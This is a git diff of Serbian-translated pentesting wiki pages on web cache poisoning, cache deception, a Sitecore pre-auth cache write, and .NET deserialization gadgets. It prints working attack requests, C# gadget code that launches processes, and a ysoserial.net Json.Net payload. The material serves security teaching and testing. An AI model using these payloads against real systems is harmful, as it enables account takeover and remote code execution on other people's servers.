**prosledi** sve **HTTP** zahteve **na HTTPS** i koristi zaglavlje `X-Forwarded-Scheme` kao naziv domena za preusmerenje. Možete kontrolisati gde je stranica usmerena preusmeranjem. +Ponekad će vam biti potrebno da **iskoristite nekoliko unkeyed inputa** da biste mogli zloupotrebiti cache. Na primer, možete naći **Open redirect** ako postavite `X-Forwarded-Host` na domen pod vašom kontrolom i `X-Forwarded-Scheme` na `http`. **Ako** **server** **preusmerava** sve **HTTP** zahteve **na HTTPS** i koristi header `X-Forwarded-Scheme` kao ime domena za redirect, možete kontrolisati gde će stranica biti upućena putem tog redirect-a. ```html GET /resources/js/tracking.js HTTP/1.1 Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/ X-Forwarded-Scheme: http ``` -### Iskorišćavanje sa ograničenim `Vary` headerom +### Eksploatisanje sa ograničenim `Vary` zaglavljem -Ako ste otkrili da se **`X-Host`** header koristi kao **ime domena za učitavanje JS resursa**, ali **`Vary`** header u odgovoru ukazuje na **`User-Agent`**. Tada treba da pronađete način da izvučete User-Agent žrtve i otrovate keš koristeći taj korisnički agent: +Ako utvrdite da se **`X-Host`** zaglavlje koristi kao **domain name to load a JS resource**, ali da **`Vary`** zaglavlje u odgovoru pokazuje **`User-Agent`**. Tada treba da pronađete način da exfiltrate User-Agent žrtve i poison the cache koristeći tog User-Agenta: ```html GET / HTTP/1.1 Host: vulnerbale.net @@ -133,7 +137,7 @@ X-Host: attacker.com ``` ### Fat Get -Pošaljite GET zahtev sa zahtevom u URL-u i u telu. Ako veb server koristi onaj iz tela, ali server za keširanje kešira onaj iz URL-a, svako ko pristupi tom URL-u zapravo će koristiti parametar iz tela. Kao što je ranjivost koju je pronašao James Kettle na Github vebsajtu: +Pošaljite GET request sa istim podacima u URL-u i u body-ju. Ako web server koristi onaj iz body-ja, ali cache server kešira onaj iz URL-a, svako ko pristupi tom URL-u će zapravo koristiti parameter iz body-ja. Kao vuln koji je James Kettle pronašao na Github-u: ``` GET /contact/report-abuse?report=albinowax HTTP/1.1 Host: github.com @@ -144,9 +148,9 @@ report=innocent-victim ``` There it a portswigger lab about this: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get) -### Parameter Cloaking +### Parameter Cloacking -Na primer, moguće je odvojiti **parametre** na ruby serverima koristeći karakter **`;`** umesto **`&`**. Ovo se može koristiti za stavljanje vrednosti neključenih parametara unutar ključnih i njihovo zloupotrebljavanje. +For example it's possible to separate **parameters** in ruby servers using the char **`;`** instead of **`&`**. This could be used to put unkeyed parameters values inside keyed ones and abuse them. Portswigger lab: [https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking) @@ -158,77 +162,94 @@ Learn here about how to perform [Cache Poisoning attacks by abusing HTTP Request The [Web Cache Vulnerability Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner) can be used to automatically test for web cache poisoning. It supports many different techniques and is highly customizable. -Example usage: `wcvs -u example.com` +Primer upotrebe: `wcvs -u example.com` ### Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js) -Ovaj obrazac iz stvarnog sveta povezuje refleksivnu primitivu zasnovanu na headeru sa ponašanjem CDN/WAF kako bi pouzdano otrovao keširani HTML koji se servira drugim korisnicima: +Ovaj realni obrazac povezuje header-based reflection primitive sa ponašanjem CDN/WAF-a kako bi pouzdano zatrovao keširani HTML koji se servira drugim korisnicima: -- Glavni HTML je reflektovao nepouzdani zahtevni header (npr., `User-Agent`) u izvršni kontekst. -- CDN je uklonio keš header-e, ali je postojao interni/origin keš. CDN je takođe automatski keširao zahteve koji se završavaju statičnim ekstenzijama (npr., `.js`), dok je WAF primenio slabiju inspekciju sadržaja na GET-ove za statičke resurse. -- Čudne karakteristike toka zahteva omogućile su da zahtev za `.js` putanjom utiče na keš ključ/varijantu koja se koristi za sledeći glavni HTML, omogućavajući cross-user XSS putem refleksije headera. +- Glavni HTML reflektovao je nepouzdani request header (e.g., `User-Agent`) u izvršni kontekst. +- CDN je uklanjao cache headers, ali je postojao interni/origin cache. CDN je takođe automatski keširao zahteve koji se završavaju statičnim ekstenzijama (npr. `.js`), dok je WAF primenjivao slabiju inspekciju sadržaja na GET-ove za statičke assete. +- Nepravilnosti u toku zahteva omogućile su da zahtev ka `.js` putanji utiče na cache key/variant koji se koristi za naredni glavni HTML, omogućavajući cross-user XSS putem header reflection. -Praktični recept (posmatrano na popularnom CDN/WAF): +Praktičan recept (posmatrano na popularnom CDN/WAF-u): -1) Sa čiste IP adrese (izbegavajte prethodne degradacije zasnovane na reputaciji), postavite zlonameran `User-Agent` putem pregledača ili Burp Proxy Match & Replace. -2) U Burp Repeater-u, pripremite grupu od dva zahteva i koristite "Send group in parallel" (jednopaketni režim najbolje funkcioniše): -- Prvi zahtev: GET resurs putanje `.js` na istom originu dok šaljete svoj zlonamerni `User-Agent`. -- Odmah nakon: GET glavne stranice (`/`). -3) Trka usmeravanja CDN/WAF plus automatski keširani `.js` često zasadi otrovanu varijantu keširanog HTML-a koja se zatim servira drugim posetiocima koji dele iste uslove keš ključa (npr., iste `Vary` dimenzije kao `User-Agent`). +1) Sa čistog IP-a (izbegavati prethodna reputaciona degradiranja), postavite zlonamerni `User-Agent` preko browsera ili Burp Proxy Match & Replace. +2) U Burp Repeater-u, pripremite grupu od dva zahteva i upotrebite "Send group in parallel" (single-packet mode radi najbolje): +- Prvi zahtev: GET `.js` resource path na istom originu dok šaljete zlonamerni `User-Agent`. +- Odmah nakon toga: GET glavnu stranicu (`/`). +3) CDN/WAF routing trka i automatski keširani `.js` često dovode do pojave zatrovane keširane HTML varijante koja se potom servira drugim posetiocima koji dele iste uslove cache key-a (npr. iste `Vary` dimenzije poput `User-Agent`). -Example header payload (to exfiltrate non-HttpOnly cookies): +Primer header payload (za eksfiltraciju non-HttpOnly cookies): ``` User-Agent: Mo00ozilla/5.0" ``` Operational tips: -- Mnogi CDN-ovi skrivaju zaglavlja keša; trovanje može da se pojavi samo na ciklusima osvežavanja od više sati. Koristite više IP adresa i usporite kako biste izbegli okvire brzine ili okidače reputacije. -- Korišćenje IP adrese iz vlastitog oblaka CDN-a ponekad poboljšava doslednost rutiranja. -- Ako je prisutan strogi CSP, ovo i dalje funkcioniše ako se refleksija izvršava u glavnom HTML kontekstu i CSP dozvoljava inline izvršavanje ili se zaobilazi kontekstom. +- Mnogi CDN-ovi skrivaju cache zaglavlja; poisoning može postati vidljiv tek nakon osvežavanja u višesatnim ciklusima. Koristite više IP lokacija i throttle da biste izbegli rate-limit ili aktiviranje reputacionih zaštita. +- Korišćenje IP adrese iz same CDN cloud mreže ponekad poboljšava konzistentnost rutiranja. +- Ako postoji strogi CSP, ovo i dalje funkcioniše ako se refleksija izvršava u glavnom HTML kontekstu i CSP dozvoljava inline izvršavanje ili je zaobiđena kontekstom. Impact: -- Ako sesijski kolačići nisu `HttpOnly`, moguće je preuzimanje naloga bez klika masovnim eksfiltriranjem `document.cookie` od svih korisnika kojima je poslužena otrovana HTML stranica. +- Ako session cookies nisu `HttpOnly`, zero-click ATO je moguć masovnim eksfiltriranjem `document.cookie` od svih korisnika kojima je poslužen poisoned HTML. Defenses: -- Prestanite da reflektujete zaglavlja zahteva u HTML; strogo kodirajte kontekst ako je neizbežno. Usaglasite politike keširanja CDN-a i porekla i izbegavajte variranje na nepouzdanim zaglavljima. +- Prestanite reflektovati request headers u HTML; striktno enkodirajte po kontekstu ako je neizbežno. Uskladite cache politike CDN-a i origin-a i izbegavajte variranje na nepoverljivim zaglavljima. - Osigurajte da WAF dosledno primenjuje inspekciju sadržaja na `.js` zahteve i statičke putanje. -- Postavite `HttpOnly` (i `Secure`, `SameSite`) na sesijske kolačiće. +- Podesite `HttpOnly` (i `Secure`, `SameSite`) na session cookies. -## Vulnerable Examples +### Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection) + +A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the `Sitecore.Shell.Xaml.WebControl` handler is reached, an `xmlcontrol:GlobalHeader` (derived from `Sitecore.Web.UI.WebControl`) is available and the following reflective call is allowed: +``` +POST /-/xaml/Sitecore.Shell.Xaml.WebControl +Content-Type: application/x-www-form-urlencoded + +__PARAMETERS=AddToCache("key","…payload…")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1 +``` +Ovo upisuje proizvoljan HTML pod napadačem odabranim cache key-om, omogućavajući precizno poisoning kad su cache keys poznati. + +Za potpune detalje (cache key construction, ItemService enumeration i chained post-auth deserialization RCE): + +{{#ref}} +../../network-services-pentesting/pentesting-web/sitecore/README.md +{{#endref}} + +## Ranjivi primeri ### Apache Traffic Server ([CVE-2021-27577](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27577)) -ATS je prosledio fragment unutar URL-a bez uklanjanja i generisao ključ keša koristeći samo host, putanju i upit (ignorišući fragment). Tako je zahtev `/#/../?r=javascript:alert(1)` poslat na backend kao `/#/../?r=javascript:alert(1)` i ključ keša nije imao payload unutar njega, samo host, putanju i upit. +ATS je prosleđivao fragment unutar URL-a bez čišćenja i generisao cache key koristeći samo host, path i query (ignorišući fragment). Dakle, zahtev `/#/../?r=javascript:alert(1)` je poslat backendu kao `/#/../?r=javascript:alert(1)` i cache key nije sadržao payload, već samo host, path i query. ### GitHub CP-DoS -Slanje loše vrednosti u zaglavlju content-type izazvalo je 405 keširani odgovor. Ključ keša je sadržao kolačić, tako da je bilo moguće napasti samo neautentifikovane korisnike. +Slanje neispravne vrednosti u content-type header-u je izazvalo 405 cached response. Cache key je sadržavao cookie pa je bilo moguće napasti samo neautentifikovane korisnike. ### GitLab + GCP CP-DoS -GitLab koristi GCP kante za skladištenje statičkog sadržaja. **GCP Buckets** podržavaju **zaglavlje `x-http-method-override`**. Tako je bilo moguće poslati zaglavlje `x-http-method-override: HEAD` i otrovati keš da vrati prazan odgovor. Takođe je moglo podržati metodu `PURGE`. +GitLab koristi GCP buckets za čuvanje statičkog sadržaja. **GCP Buckets** podržavaju header `x-http-method-override`. Dakle, bilo je moguće poslati header `x-http-method-override: HEAD` i poison the cache da vraća prazan response body. Takođe je mogla da bude podržana metoda `PURGE`. ### Rack Middleware (Ruby on Rails) -U Ruby on Rails aplikacijama, Rack middleware se često koristi. Svrha Rack koda je da uzme vrednost zaglavlja **`x-forwarded-scheme`** i postavi je kao shemu zahteva. Kada se pošalje zaglavlje `x-forwarded-scheme: http`, dolazi do 301 preusmeravanja na istu lokaciju, potencijalno uzrokujući uskraćivanje usluge (DoS) za taj resurs. Pored toga, aplikacija može prepoznati zaglavlje `X-forwarded-host` i preusmeriti korisnike na određeni host. Ovo ponašanje može dovesti do učitavanja JavaScript datoteka sa servera napadača, što predstavlja sigurnosni rizik. +U Ruby on Rails aplikacijama često se koristi Rack middleware. Svrha Rack koda je da uzme vrednost header-a `x-forwarded-scheme` i postavi je kao scheme zahteva. Kada se pošalje header `x-forwarded-scheme: http`, dolazi do 301 redirect-a na istu lokaciju, što potencijalno može prouzrokovati Denial of Service (DoS) za taj resurs. Dodatno, aplikacija može prihvatiti header `X-forwarded-host` i preusmeriti korisnike na navedeni host. Ovo ponašanje može dovesti do učitavanja JavaScript fajlova sa napadačevog servera, što predstavlja bezbednosni rizik. ### 403 and Storage Buckets -Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa pogrešnim Authorization zaglavljima rezultirao bi 403 odgovorom koji je keširan. Iako je Cloudflare prestao da kešira 403 odgovore, ovo ponašanje može i dalje biti prisutno u drugim proxy uslugama. +Cloudflare je ranije keširao 403 odgovore. Pokušaj pristupa S3 ili Azure Storage Blobs sa neispravnim Authorization header-ima je rezultirao 403 odgovorom koji je bio keširan. Iako je Cloudflare prestao da kešira 403 odgovore, ovo ponašanje i dalje može biti prisutno u drugim proxy servisima. ### Injecting Keyed Parameters -Keševi često uključuju specifične GET parametre u ključ keša. Na primer, Fastly's Varnish je keširao `size` parametar u zahtevima. Međutim, ako je URL-enkodirana verzija parametra (npr. `siz%65`) takođe poslata sa pogrešnom vrednošću, ključ keša bi bio konstruisan koristeći ispravni `size` parametar. Ipak, backend bi obradio vrednost u URL-enkodiranom parametru. URL-enkodiranje drugog `size` parametra dovelo je do njegovog izostavljanja od strane keša, ali njegove upotrebe od strane backenda. Dodeljivanje vrednosti 0 ovom parametru rezultiralo je keširanim 400 Bad Request greškom. +Keševi često uključuju specifične GET parametre u cache key. Na primer, Fastly-jev Varnish je keširao `size` parametar u zahtevima. Međutim, ako bi takođe bio poslat URL-encoded oblik parametra (npr. `siz%65`) sa pogrešnom vrednošću, cache key bi bio konstruisan koristeći ispravan `size` parametar. Ipak, backend bi obradio vrednost u URL-encoded parametru. URL-encoding drugog `size` parametra je doveo do njegovog izostavljanja iz cache-a ali njegove upotrebe od strane backenda. Dodeljivanje vrednosti 0 ovom parametru rezultovalo je cacheable 400 Bad Request greškom. ### User Agent Rules -Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima visoko prometnih alata kao što su FFUF ili Nuclei kako bi upravljali opterećenjem servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su trovanje keša i DoS. +Neki developeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima alata visokog saobraćaja kao što su FFUF ili Nuclei da bi smanjili opterećenje servera. Ironično, ovaj pristup može uvesti ranjivosti kao što su cache poisoning i DoS. ### Illegal Header Fields -[**RFC7230**](https://datatracker.ietf.mrg/doc/html/rfc7230) definiše prihvatljive karaktere u imenima zaglavlja. Zaglavlja koja sadrže karaktere van specificiranog **tchar** opsega trebala bi idealno da izazovu 400 Bad Request odgovor. U praksi, serveri ne poštuju uvek ovaj standard. Značajan primer je Akamai, koji prosleđuje zaglavlja sa nevažećim karakterima i kešira svaku 400 grešku, sve dok zaglavlje `cache-control` nije prisutno. Identifikovan je iskoristiv obrazac gde slanje zaglavlja sa nelegalnim karakterom, kao što je `\`, rezultira keširanim 400 Bad Request greškom. +[https://datatracker.ietf.mrg/doc/html/rfc7230](https://datatracker.ietf.mrg/doc/html/rfc7230) specificira prihvatljive karaktere u imenima header-a. Header-i koji sadrže karaktere van specificiranog **tchar** opsega bi u idealnom slučaju trebalo da izazovu 400 Bad Request. U praksi, serveri se ne pridržavaju uvek ovog standarda. Značajan primer je Akamai, koji prosleđuje header-e sa nevalidnim karakterima i kešira bilo koju 400 grešku, sve dok `cache-control` header nije prisutan. Identifikovan je eksploatabilni obrazac gde slanje header-a sa ilegalnim karakterom, kao što je `\`, dovodi do cacheable 400 Bad Request greške. ### Finding new headers @@ -236,32 +257,32 @@ Neki programeri blokiraju zahteve sa user-agentima koji se podudaraju sa onima v ## Cache Deception -Cilj Cache Deception-a je da natera klijente **da učitaju resurse koji će biti sačuvani u kešu sa njihovim osetljivim informacijama**. +Cilj Cache Deception je naterati klijente da učitavaju resurse koji će biti sačuvani u cache-u sa njihovim osetljivim informacijama. -Prvo, imajte na umu da su **ekstenzije** kao što su `.css`, `.js`, `.png` itd. obično **konfigurisane** da budu **sačuvane** u **kešu.** Stoga, ako pristupite `www.example.com/profile.php/nonexistent.js`, keš će verovatno sačuvati odgovor jer vidi `.js` **ekstenziju**. Ali, ako se **aplikacija** **replay-uje** sa **osetljivim** korisničkim sadržajem sačuvanim u _www.example.com/profile.php_, možete **ukrasti** te sadržaje od drugih korisnika. +Pre svega, imajte na umu da su ekstenzije kao što su `.css`, `.js`, `.png` itd. obično konfigurisane da budu sačuvane u cache-u. Dakle, ako pristupite `www.example.com/profile.php/nonexistent.js` cache će verovatno sačuvati odgovor jer vidi `.js` **extension**. Međutim, ako aplikacija odgovara sa osetljivim korisničkim sadržajem koji je generisan iz _www.example.com/profile.php_, možete ukrasti taj sadržaj od drugih korisnika. -Druge stvari koje treba testirati: +Ostale stvari za testiranje: - _www.example.com/profile.php/.js_ - _www.example.com/profile.php/.css_ - _www.example.com/profile.php/test.js_ - _www.example.com/profile.php/../test.js_ - _www.example.com/profile.php/%2e%2e/test.js_ -- _Koristite manje poznate ekstenzije kao što su_ `.avif` +- _Use lesser known extensions such as_ `.avif` -Još jedan vrlo jasan primer može se naći u ovom izveštaju: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ -U primeru se objašnjava da ako učitate nepostojeću stranicu kao što je _http://www.example.com/home.php/non-existent.css_, sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i keš server će sačuvati rezultat.\ -Zatim, **napadač** može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom pretraživaču i posmatrati **povjerljive informacije** korisnika koji su prethodno pristupili. +Another very clear example can be found in this write-up: [https://hackerone.com/reports/593712](https://hackerone.com/reports/593712).\ +U primeru je objašnjeno da ako učitate nepostojeću stranicu kao _http://www.example.com/home.php/non-existent.css_ sadržaj _http://www.example.com/home.php_ (**sa osetljivim informacijama korisnika**) će biti vraćen i cache server će sačuvati rezultat.\ +Zatim, napadač može pristupiti _http://www.example.com/home.php/non-existent.css_ u svom browseru i videti poverljive informacije korisnika koji su pristupili ranije. -Imajte na umu da bi **keš proxy** trebao biti **konfiguran** da **kešira** datoteke **na osnovu** **ekstenzije** datoteke (_.css_) a ne na osnovu content-type. U primeru _http://www.example.com/home.php/non-existent.css_ će imati `text/html` content-type umesto `text/css` mime tipa (što se očekuje za _.css_ datoteku). +Obratite pažnju da cache proxy treba da bude konfigurisana da cache-ira fajlove bazirano na ekstenziji fajla (_.css_), a ne na content-type. U primeru _http://www.example.com/home.php/non-existent.css_ imaće `text/html` content-type umesto `text/css` mime type. -Saznajte ovde kako izvesti [Cache Deceptions napade koristeći HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). +Saznajte ovde kako da izvodite[ Cache Deceptions attacks abusing HTTP Request Smuggling](../http-request-smuggling/index.html#using-http-request-smuggling-to-perform-web-cache-deception). -## Automatic Tools +## Automatski alati -- [**toxicache**](https://github.com/xhzeem/toxicache): Golang skener za pronalaženje ranjivosti trovanja web keša u listi URL-ova i testiranje više tehnika injekcije. +- [**toxicache**](https://github.com/xhzeem/toxicache): Golang scanner za pronalaženje web cache poisoning ranjivosti u listi URL-ova i testiranje više injection techniques. -## References +## Reference - [https://portswigger.net/web-security/web-cache-poisoning](https://portswigger.net/web-security/web-cache-poisoning) - [https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities](https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities) @@ -271,6 +292,7 @@ Saznajte ovde kako izvesti [Cache Deceptions napade koristeći HTTP Request Smug - [https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/](https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/) - [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) - [Burp Proxy Match & Replace](https://portswigger.net/burp/documentation/desktop/tools/proxy/match-and-replace) +- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 9edc4e71a..6d898fc24 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -1,38 +1,38 @@ -# Osnovna .Net deserializacija (ObjectDataProvider gadget, ExpandedWrapper i Json.Net) +# Osnovna .Net deserializacija (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} -Ovaj post je posvećen **razumevanju kako se gadget ObjectDataProvider koristi** za dobijanje RCE i **kako** se biblioteke za serijalizaciju **Json.Net i xmlSerializer mogu zloupotrebiti** sa tim gadgetom. +Ovaj članak je posvećen **razumevanju kako se gadget ObjectDataProvider iskorišćava** da bi se dobio RCE i **kako** se Serialization biblioteke **Json.Net i xmlSerializer mogu zloupotrebiti** sa tim gadgetom. ## ObjectDataProvider Gadget -Iz dokumentacije: _klasa ObjectDataProvider obavija i kreira objekat koji možete koristiti kao izvor vezivanja_.\ -Da, to je čudno objašnjenje, pa hajde da vidimo šta ova klasa ima što je tako interesantno: Ova klasa omogućava **obavijanje proizvoljnog objekta**, korišćenje _**MethodParameters**_ za **postavljanje proizvoljnih parametara,** a zatim **korišćenje MethodName za pozivanje proizvoljne funkcije** proizvoljnog objekta deklarisanog korišćenjem proizvoljnih parametara.\ -Stoga, proizvoljni **objekat** će **izvršiti** **funkciju** sa **parametrima dok se deserializuje.** +Iz dokumentacije: _klasa ObjectDataProvider obavija i kreira objekat koji možete koristiti kao binding source_.\ +Da, objašnjenje je čudno, pa hajde da vidimo šta ta klasa ima interesantno: Ova klasa omogućava da **omotate proizvoljan objekat**, koristite _**MethodParameters**_ da **postavite proizvoljne parametre,** i zatim **upotrebite MethodName da pozovete proizvoljnu funkciju** proizvoljnog objekta deklarisanog pomoću tih parametara.\ +Dakle, proizvoljni **object** će **izvršiti** **funkciju** sa **parametrima tokom deserializacije.** ### **Kako je to moguće** -**System.Windows.Data** prostor imena, koji se nalazi unutar **PresentationFramework.dll** na `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, je mesto gde je ObjectDataProvider definisan i implementiran. +Namespace **System.Windows.Data**, koji se nalazi u **PresentationFramework.dll** na `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF`, je mesto gde je ObjectDataProvider definisan i implementiran. -Korišćenjem [**dnSpy**](https://github.com/0xd4d/dnSpy) možete **inspektovati kod** klase koja nas zanima. Na slici ispod vidimo kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Ime metode** +Koristeći [**dnSpy**](https://github.com/0xd4d/dnSpy) možete **pregledati kod** klase koja nas zanima. Na slici ispod vidimo kod **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method name** ![](<../../images/image (427).png>) -Kao što možete primetiti, kada je `MethodName` postavljen, poziva se `base.Refresh()`, hajde da pogledamo šta to radi: +Kao što možete primetiti, kada se postavi `MethodName` poziva se `base.Refresh()`, pogledajmo šta to radi: ![](<../../images/image (319).png>) -U redu, hajde da nastavimo i vidimo šta radi `this.BeginQuery()`. `BeginQuery` je prepisan od strane `ObjectDataProvider` i ovo je ono što radi: +Ok, nastavimo da vidimo šta radi `this.BeginQuery()`. `BeginQuery` je override-ovan od strane `ObjectDataProvider` i ovo je šta radi: ![](<../../images/image (345).png>) -Napomena: na kraju koda poziva se `this.QueryWorke(null)`. Hajde da vidimo šta to izvršava: +Obratite pažnju da na kraju koda poziva `this.QueryWorke(null)`. Pogledajmo šta to izvršava: ![](<../../images/image (596).png>) -Napomena: ovo nije kompletan kod funkcije `QueryWorker`, ali pokazuje zanimljiv deo: Kod **poziva `this.InvokeMethodOnInstance(out ex);`** ovo je linija gde se **metoda postavlja**. +Primetite da ovo nije kompletan kod funkcije `QueryWorker` ali pokazuje interesantan deo: Kod **poziva `this.InvokeMethodOnInstance(out ex);`** — ovo je linija gde se **postavljena metoda poziva**. -Ako želite da proverite da samo postavljanje _**MethodName**_** će biti izvršeno**, možete pokrenuti ovaj kod: +Ako želite da proverite da samo postavljanje _**MethodName**_ će dovesti do njegovog izvršavanja, možete pokrenuti ovaj kod: ```java using System.Windows.Data; using System.Diagnostics; @@ -52,16 +52,16 @@ myODP.MethodName = "Start"; } } ``` -Napomena da je potrebno dodati kao referencu _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ kako bi se učitao `System.Windows.Data` +Napomena: potrebno je dodati kao referencu _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ kako bi se učitao `System.Windows.Data` ## ExpandedWrapper -Koristeći prethodni exploit, biće slučajeva gde će **objekat** biti **deserijalizovan kao** instanca _**ObjectDataProvider**_ (na primer u DotNetNuke vulnerabilnosti, koristeći XmlSerializer, objekat je deserijalizovan koristeći `GetType`). Tada, neće imati **nikakvo znanje o tipu objekta koji je obavijen** u instanci _ObjectDataProvider_ (`Process`, na primer). Možete pronaći više [informacija o DotNetNuke vulnerabilnosti ovde](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). +Korišćenjem prethodnog exploita postaće slučajevi gde će **object** biti **deserialized as** instanca _**ObjectDataProvider**_ (na primer u DotNetNuke vuln, koristeći XmlSerializer, objekat je deserijalizovan koristeći `GetType`). U tom slučaju, neće postojati **znanje o tipu objekta koji je upleten** u instanci _ObjectDataProvider_ (na primer `Process`). Više [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1). -Ova klasa omogućava **da se odrede tipovi objekata koji su enkapsulirani** u datoj instanci. Dakle, ova klasa se može koristiti za enkapsulaciju izvornog objekta (_ObjectDataProvider_) u novi tip objekta i pružanje svojstava koja su nam potrebna (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\ -Ovo je veoma korisno za slučajeve kao što je onaj predstavljen ranije, jer ćemo moći da **obavijemo \_ObjectDataProvider**_** unutar instancu **_**ExpandedWrapper** \_ i **kada se deserijalizuje** ova klasa će **kreirati** objekat _**OjectDataProvider**_ koji će **izvršiti** **funkciju** naznačenu u _**MethodName**_. +Ova klasa omogućava da s**odredite tipove objekata koji su enkapsulirani** u datoj instanci. Dakle, ova klasa može da se koristi da enkapsulira izvorni objekat (_ObjectDataProvider_) u novi tip objekta i da obezbedi svojstva koja su nam potrebna (_ObjectDataProvider.MethodName_ i _ObjectDataProvider.MethodParameters_).\ +Ovo je veoma korisno za slučajeve kao onaj prikazan ranije, jer ćemo moći da **wrap \_ObjectDataProvider**_** inside an **_**ExpandedWrapper** \_ instance and **when deserialized** this class will **create** the _**OjectDataProvider**_ object that will **execute** the **function** indicated in _**MethodName**_. -Možete proveriti ovaj wrapper sa sledećim kodom: +Možete proveriti ovaj wrapper pomoću sledećeg koda: ```java using System.Windows.Data; using System.Diagnostics; @@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start"; ``` ## Json.Net -Na [službenoj veb stranici](https://www.newtonsoft.com/json) je naznačeno da ova biblioteka omogućava **serijalizaciju i deserializaciju bilo kog .NET objekta uz pomoć moćnog JSON serijalizatora Json.NET**. Dakle, ako bismo mogli **deserializovati ObjectDataProvider gadget**, mogli bismo izazvati **RCE** samo deserializovanjem objekta. +Na [official web page](https://www.newtonsoft.com/json) je naznačeno da ova biblioteka omogućava da **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Dakle, ako bismo mogli **deserialize the ObjectDataProvider gadget**, mogli bismo izazvati **RCE** samo deserijalizacijom objekta. ### Json.Net primer -Prvo, hajde da vidimo primer kako da **serijalizujemo/deserializujemo** objekat koristeći ovu biblioteku: +Prvo, pogledajmo primer kako da **serialize/deserialize** objekat koristeći ovu biblioteku: ```java using System; using Newtonsoft.Json; @@ -132,11 +132,11 @@ Console.WriteLine(desaccount.Email); } } ``` -### Zloupotreba Json.Net +### Abusing Json.Net -Koristeći [ysoserial.net](https://github.com/pwntester/ysoserial.net) kreirao sam eksploataciju: +Koristeći [ysoserial.net](https://github.com/pwntester/ysoserial.net) napravio sam exploit: ```java -ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" +yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', @@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` -U ovom kodu možete **testirati eksploataciju**, samo ga pokrenite i videćete da se izvršava kalkulator: +U ovom kodu možete **test the exploit**, samo ga pokrenite i videćete da se calc pokreće: ```java using System; using System.Text; @@ -184,27 +184,27 @@ TypeNameHandling = TypeNameHandling.Auto } } ``` -## Napredni .NET Gadget Lanci (YSoNet & ysoserial.net) +## Napredni .NET lanci gadgeta (YSoNet & ysoserial.net) -Tehnika ObjectDataProvider + ExpandedWrapper uvedena iznad je samo jedan od MNOŠTVO gadget lanaca koji se mogu zloupotrebiti kada aplikacija izvršava **nesigurnu .NET deserializaciju**. Moderni alati za crvene timove kao što su **[YSoNet](https://github.com/irsdl/ysonet)** (i stariji [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatizuju kreiranje **spremnih za upotrebu malicioznih 